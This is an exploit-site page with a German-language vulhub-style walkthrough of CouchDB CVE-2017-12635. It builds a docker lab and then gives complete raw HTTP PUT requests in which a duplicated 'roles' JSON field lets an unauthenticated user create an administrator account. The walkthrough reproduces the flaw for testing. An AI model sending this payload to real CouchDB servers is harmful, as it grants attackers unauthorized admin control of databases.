Sploitus

Exploit for Apache-couchdb

kitploit · 2026-08-26

Exploit Code

MARKDOWN85 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-CYBERHARSH-APACHE-COUCHDB-CVE-2017-12635
# Couchdb vertikaler Privilegienumgehungs-Bug (CVE-2017-12635)

Apache CouchDB ist eine Open-Source-Datenbank, die sich auf Benutzerfreundlichkeit und darauf konzentriert, eine „vollständig das Web umarmende Datenbank“ zu sein. Es ist eine NoSQL-Datenbank, die JSON als Speicherformat, JavaScript als Abfragesprache, MapReduce und HTTP als API verwendet. Sie wird vielfältig eingesetzt, z. B. von der BBC für ihre dynamische Content-Plattform, von Credit Suisse für das marktbezogene Framework ihrer hauseigenen Rohstoffabteilung und von Meebo für ihre soziale Plattform (Web und Apps).

Am 15. November 2017 wurden CVE-2017-12635 und CVE-2017-12636 veröffentlicht. CVE-2017-12635 ist auf unterschiedliche JSON-Parsing-Weisen von Erlang und JavaScript zurückzuführen, was zu Unterschieden in der Anweisungsausführung führt. Diese Schwachstelle ermöglicht es beliebigen Benutzern, Administratoren zu erstellen, und stellt einen vertikalen Privilegienumgehungs-Bug dar.

Betroffene Versionen: kleiner als 1.7.0 und kleiner als 2.1.1

Referenzen:

  * http://bobao.360.cn/learning/detail/4716.html
  * https://justi.cz/security/2017/11/14/couchdb-rce-npm.html



## Testumgebung

Umgebung erstellen und starten:

root@kitploit:~
    
    
    docker-compose build
    docker-compose up -d
    

Nach dem Start der Umgebung kann unter `http://your-ip:5984/_utils/` eine Webseite aufgerufen werden, was anzeigt, dass CouchDB erfolgreich gestartet wurde. Wir kennen jedoch das Passwort nicht und können uns nicht anmelden.

## Reproduktion der Schwachstelle

Senden Sie zunächst das folgende Datenpaket:

root@kitploit:~
    
    
    PUT /_users/org.couchdb.user:vulhub HTTP/1.1
    Host: your-ip:5984
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/json
    Content-Length: 90
    
    {
      "type": "user",
      "name": "vulhub",
      "roles": ["_admin"],
      "password": "vulhub"
    }
    

Es wird ein 403-Fehler zurückgegeben: `{"error":"forbidden","reason":"Only _admin may set roles"}`. Nur Administratoren können Rollen setzen:

Senden Sie ein Datenpaket mit zwei Rollen-Feldern, um die Einschränkung zu umgehen:

root@kitploit:~
    
    
    PUT /_users/org.couchdb.user:vulhub HTTP/1.1
    Host: your-ip:5984
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/json
    Content-Length: 108
    
    {
      "type": "user",
      "name": "vulhub",
      "roles": ["_admin"],
      "roles": [],
      "password": "vulhub"
    }
    

Der Administrator wurde erfolgreich erstellt. Benutzername und Passwort lauten beide `vulhub`:

![](https://assets.kitploit.com/production/public/readmes/24227/2b058d874884b988e503e98269e8e1cf8b14fe9eac1876501534f5f3e11a9f41.png)

Rufen Sie erneut `http://your-ip:5984/_utils/` auf und melden Sie sich mit dem Benutzernamen und Passwort `vulhub` an. Die Anmeldung ist erfolgreich:

![](https://assets.kitploit.com/production/public/readmes/24227/dfb432abf7490390dec5f41ba2343c2e153577084b62943dade8f087f28deaf4.png)